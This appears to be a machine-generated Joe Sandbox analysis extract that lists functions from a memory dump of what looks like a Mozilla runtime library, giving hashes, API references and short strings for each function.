Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: $!oi/$-$0$0$1$8$9$@
API String ID: 0-1571078092
Opcode ID: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction ID: 0aa39ac45e123d66a3a14887cae5e2a87215a2a65c9adc49dc6c57d26949dd6f
Opcode Fuzzy Hash: f7c7fb8722b8d40fa9d8c16e59a2d3bee432b4aa4bab75384451ff90da6f604b
Instruction Fuzzy Hash: A262CF7060C3458FD701CF19C69079ABBF2AF86358FB84A0DE4D54BAD1C33599A5CB8A

Function 6C669F00 Relevance: 9.8, Strings: 7, Instructions: 1039COMMON

Download Yara Rule

Strings

' , xrefs: 6C66A3D8
0, xrefs: 6C66AB22
1, xrefs: 6C66A824
!oi/, xrefs: 6C669F18
0, xrefs: 6C66A100
9, xrefs: 6C66A5D6
@, xrefs: 6C66A625

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: !oi/$' $0$0$1$9$@
API String ID: 0-3353514962
Opcode ID: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction ID: b43a99b024e746f77dff5b3497ef81521bc4a43fda2ff7c323182478ba13ad1a
Opcode Fuzzy Hash: 7f32a90ffc6e4b13a4b8479688458e77b38dcc6f0ae0d56f76f2cff1836e75fe
Instruction Fuzzy Hash: 4F82C2315093318BD710CF1BC4902AEB7E1EB85718F658A2EE8D557E92D335E885CB8B

Function 6C6C545C Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C8A4B

Strings

~qel, xrefs: 6C6C921F, 6C6C5740, 6C6C9269, 6C6C56C7, 6C6C5703, 6C6C9459, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: 01af520261224d43aa745bc0de72f0653f0550fdd9b9ffcc5ee0159283b6d2d5
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 0BB1F772F0021A8FDB24CF68CC907E9B7B2EF85318F1802AAC549DB791D7349985CB95

Function 6C6C542B Relevance: 9.3, APIs: 5, Strings: 1, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6C6C88F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6C6C925C

Strings

~qel, xrefs: 6C6C921F, 6C6C5740, 6C6C9269, 6C6C56C7, 6C6C5703, 6C6C9459, 6C6C948F

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memset
String ID: ~qel
API String ID: 2221118986-2736371781
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 847e3582a78b901618d98ce7101b713317aa8019d6372db2b3185b55660006ee
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: ABB1E572F0420A8BCB14CE58CC816EDB7B2EF85314F14426AC949DB795D734A989CB95

Function 6C6A77A0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 291timeCOMMON

Download Yara Rule

APIs

?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C6A7A81
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C6A7A93

Part of subcall function 6C675C50: GetTickCount64.KERNEL32 ref: 6C675D40
Part of subcall function 6C675C50: EnterCriticalSection.KERNEL32(6C6DF688), ref: 6C675D67

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C6A7AA1

Part of subcall function 6C675C50: __aulldiv.LIBCMT ref: 6C675DB4
Part of subcall function 6C675C50: LeaveCriticalSection.KERNEL32(6C6DF688), ref: 6C675DED

?ToSeconds@BaseTimeDurationPlatformUtils@mozilla@@SAN_J@Z.MOZGLUE(FFFFFFFE,?,?,?), ref: 6C6A7B31

Strings

!oi/, xrefs: 6C6A77AF

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampV01@@Value@mozilla@@$BaseCount64DurationEnterLeaveNow@PlatformSeconds@Stamp@mozilla@@TickUtils@mozilla@@V12@___aulldiv
String ID: !oi/
API String ID: 4054851604-845032489
Opcode ID: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction ID: eb805a557cc71c73acb2cf890751559337e9d58a37693480d16937fe35f10b65
Opcode Fuzzy Hash: e7b68f6c0973ac94e159b9364b542cce305b9088aa400d5f9c221fa3513d35d9
Instruction Fuzzy Hash: 01B17C356083808BCB18CEA4C4507AFB7E2ABC5318F154A1DE99567795DB70ED0BCB8A

Function 6C6BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C6BC0E9), ref: 6C6BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C6BC437
FreeLibrary.KERNEL32(?,6C6BC0E9), ref: 6C6BC44C

Strings

NtQueryVirtualMemory, xrefs: 6C6BC431
ntdll.dll, xrefs: 6C6BC413

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction ID: 0baf2aa69d8cf0f9d1a80e002f6a0c30601aa36f70604daba40d504ae963cc98
Opcode Fuzzy Hash: d4ad702163dedae234b04c25129513d6ca49606b68d6455ed9a7693a3667c5d7
Instruction Fuzzy Hash: 14E0B670B01302ABDF007F73C9887127BF8AB46745F044516AB0592614EBB0F652CB5F

Function 6C65BEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C65C1CB
__aulldiv.LIBCMT ref: 6C65C24C
__aulldiv.LIBCMT ref: 6C65C348
__aullrem.LIBCMT ref: 6C65C365
__aulldiv.LIBCMT ref: 6C65C37D

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: ca4ed2d6a03da8a3f704beac6cc95ae7f98496a33d9bce822fe9f562690d7ed6
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 18323632B046119FC718DE2CC89065ABBE6AFC9310F59866DE896CB395D730ED15CB90

Function 6C678850 Relevance: 7.6, APIs: 1, Strings: 3, Instructions: 1567COMMON

Download Yara Rule

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C679813, 6C67985D, 6C679878, 6C679CEB
MOZ_CRASH(), xrefs: 6C6797EA
!oi/, xrefs: 6C67885C

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: !oi/$MOZ_CRASH()$MOZ_RELEASE_ASSERT(mNode)
API String ID: 0-2162292291
Opcode ID: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction ID: 6d98e4cdb4ba5d77c64b6df662f6a3e74dd51cc53f5a203ab7bd10060c00b1c9
Opcode Fuzzy Hash: 3794290e29cf462db1aee2cbb270e8661f1ccd35066fb2582c9b471bc88fc71d
Instruction Fuzzy Hash: E6D2BF71A157018FD728CF28C590715BBE1BF85328F29CB6DD86A8B7A5C731E841CB98

Function 6C696CF0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6C696D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C696E1E

Strings

!oi/, xrefs: 6C696D04

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID: !oi/
API String ID: 4169067295-845032489
Opcode ID: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction ID: cef72b3a95c0d67210e09b72d9d8342b2118f061bfe39851605f90312853d60d
Opcode Fuzzy Hash: ba068df2cbb1ff551d94e21bc760f8014598e75bcf2a8839709e9f76211d8ed1
Instruction Fuzzy Hash: 2BA17E706183818FC755CF25C490BAEFBE2BF89308F44495DE48A87751DB70E949CB96

Function 6C6BB700 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 41nativeCOMMON

Download Yara Rule

APIs

NtQueryVirtualMemory.NTDLL(000000FF,00000000,00000000,?,0000001C,6C68FE3F), ref: 6C6BB720
RtlNtStatusToDosError.NTDLL ref: 6C6BB75A
RtlSetLastWin32Error.NTDLL(00000000,00000000,00000000,00000000,?,?,00000000,?,6C68FE3F), ref: 6C6BB760

Strings

!oi/, xrefs: 6C6BB707

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Error$LastMemoryQueryStatusVirtualWin32
String ID: !oi/
API String ID: 304294125-845032489
Opcode ID: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction ID: 5b42e74288275a96b765d79dbabcdf8626d36713d07171290019033c0f3b5b47
Opcode Fuzzy Hash: 44bcbfe22f170f0e2b2ac8822c4b3c71aabde913244f7e0047808f4c2ecc11a6
Instruction Fuzzy Hash: 1BF0A4B0A0020CAEDF019AA28CC4BDE77BCDB44319F105139D511715C0D77495DCC76D

Function 6C674640 Relevance: 5.8, APIs: 1, Strings: 2, Instructions: 1251memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00001000,00000004), ref: 6C674777

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6C675585, 6C6755A8, 6C6755C3, 6C675624
!oi/, xrefs: 6C674653

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: !oi/$MOZ_RELEASE_ASSERT(mNode)
API String ID: 4275171209-1007246604
Opcode ID: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction ID: e152d09da89ed65f54dddbc3e1f9f5dc8f98e24aebc063a76cc89704db909104
Opcode Fuzzy Hash: 4792eabb66932662e5599aae4cedfd217326090fa2d9b3d2c5bb024516887474
Instruction Fuzzy Hash: 58B2DE71A057018FD328CF18C584725FBE2BFC5324B29CBADE4698B6A5D771E841CB98

Function 6C6B85F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6C6B8C7C
__aulldiv.LIBCMT ref: 6C6B8DD7

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: 814de8cf06003e87ebb2477e944c0d94209f8b6e29ef4fbe5db3ef8435c7af2b
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: D5328F71F0011A8BDF18CE9CC8A17AEB7B2FB8C304F15853AD506BB7A0DA349D558B95

Function 6C695C10 Relevance: 3.3, APIs: 1, Strings: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6C664A63,?,?), ref: 6C695F06

Strings

!oi/, xrefs: 6C695C19

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: memcmp
String ID: !oi/
API String ID: 1475443563-845032489
Opcode ID: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction ID: 4e78ddb84189f0b869c18d016eff578674f1ff09ffa21a39c9186e2f069ba6a1
Opcode Fuzzy Hash: 1913865122f404812779f936fc1b3168496d64710720d4fcf55dc420e8726b74
Instruction Fuzzy Hash: 5FC1C275D0120A8BCB04CFA5D5906EEBBF2FF8A319F28425DD8556BB44D732A806CF94

Function 6C65DFE0 Relevance: 1.9, Strings: 1, Instructions: 683COMMON

Download Yara Rule

Strings

!oi/, xrefs: 6C65DFF3

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: !oi/
API String ID: 0-845032489
Opcode ID: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction ID: a39475386c5918ebd676784b8f17469e4ce99828062bf41cefbf34d5986a195a
Opcode Fuzzy Hash: f507c3a40e30bb75c6dbac6c7f5f919d4ae699a00a2122d34a085692fc3455ad
Instruction Fuzzy Hash: DC42D472A087508BD708CE3CC49035AF3E2BFC9364F594B2DE999A7790D738D9518B86

Function 6C6C76E3 Relevance: 1.8, Strings: 1, Instructions: 540COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7B0B, 6C6C7796, 6C6C7E0B, 6C6C793C, 6C6C79FB, 6C6C79C0

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: c3f351375ce2f0f9a3e522e778f1118c83f9cb449e28e628ffd06b8ba48e099a
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: AF320971E006198FCB14CF98C890AADFBF2FF88308F54816AC559A7745D731A986CF95

Function 6C6C6E63 Relevance: 1.7, Strings: 1, Instructions: 498COMMON

Download Yara Rule

Strings

~qel, xrefs: 6C6C7B0B, 6C6C7E0B, 6C6C793C, 6C6C7C03, 6C6C7C72, 6C6C79FB, 6C6C79C0

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: ~qel
API String ID: 0-2736371781
Opcode ID: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction ID: 3be4a28f322a9970853bb3041ef7813f79d8eca11099a4da24d4568498a361c3
Opcode Fuzzy Hash: a22d295006b0cf76062ece48329bf5a81d073d80eca1d8f36db09750ec8a7875
Instruction Fuzzy Hash: F822E771E006198FCB14CF98C880AADF7F2FF89304F6485AAC949A7745D731A986CF95

Function 6C6CAC00 Relevance: 1.7, Strings: 1, Instructions: 445COMMON

Download Yara Rule

Strings

!oi/, xrefs: 6C6CAC1B

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID: !oi/
API String ID: 0-845032489
Opcode ID: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction ID: c26b37ba736ff65f4445e7514a68d184ead88ba06c877f9f6937d7afe7b65eb5
Opcode Fuzzy Hash: 32b0648d1147d7e88448044eaa04edfa097c69572b65d1b73d01dcb8599e7971
Instruction Fuzzy Hash: 8DF13971B087454FD700CE28C8917AAB7E2EFC6318F148A2DE5E487792E774D8898797

Function 6C697710 Relevance: 1.5, Strings: 1, Instructions: 206COMMON

Download Yara Rule

Strings

!oi/, xrefs: 6C69771C

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID: Process$CurrentTerminate
String ID: !oi/
API String ID: 2429186680-845032489
Opcode ID: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction ID: 079eca84145a93ddf9a999312de41e95189b487121d3b2ef349809f951b8e3dd
Opcode Fuzzy Hash: 351120e2737157688eeb678ff5367d367066799f34b190f59fbea874aff8ee7b
Instruction Fuzzy Hash: 97714C75E0121A8FCF18CFA9D8906EDBBB2FF89314F24816ED416AB740D731A945CB94

Function 6C680512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 3e2dc702d0882207978e665154e5a8ef5aaab46da424cb116f28f689c6641572
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 72223771E05619CFCB24CF98C890AADF7B2FF89308F548699C54AA7705D730A986CF94

Function 6C65C670 Relevance: .3, Instructions: 285COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2632302480.000000006C651000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000000.00000002.2632242506.000000006C650000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632453438.000000006C6CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632528895.000000006C6DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2632583067.000000006C6E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c650000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction ID: 47d4b005ea0d460a9a087beec7120d377fd57c6bf0f934b183e120b1cd954d5e
Opcode Fuzzy Hash: 4e0237b6fe6878b5c9d7142c5b0fdb09dfdf9fcc0206538975243e8437b3ed89
Instruction Fuzzy Hash: 16A1AF71F0021A9FDB08CE68C8913AEB7F2AFC9354F588129D916E7781DB349D168B90

Function 6C69CC00 Relevance: 73.7, APIs: 25, Strings: 24, Instructions: 233
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,default,?,6C66582D), ref: 6C69CC27
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,java,?,?,?,6C66582D), ref: 6C69CC3D
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,6C6CFE98,?,?,?,?,?,6C66582D), ref: 6C69CC56
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,leaf,?,?,?,?,?,?,?,6C66582D), ref: 6C69CC6C
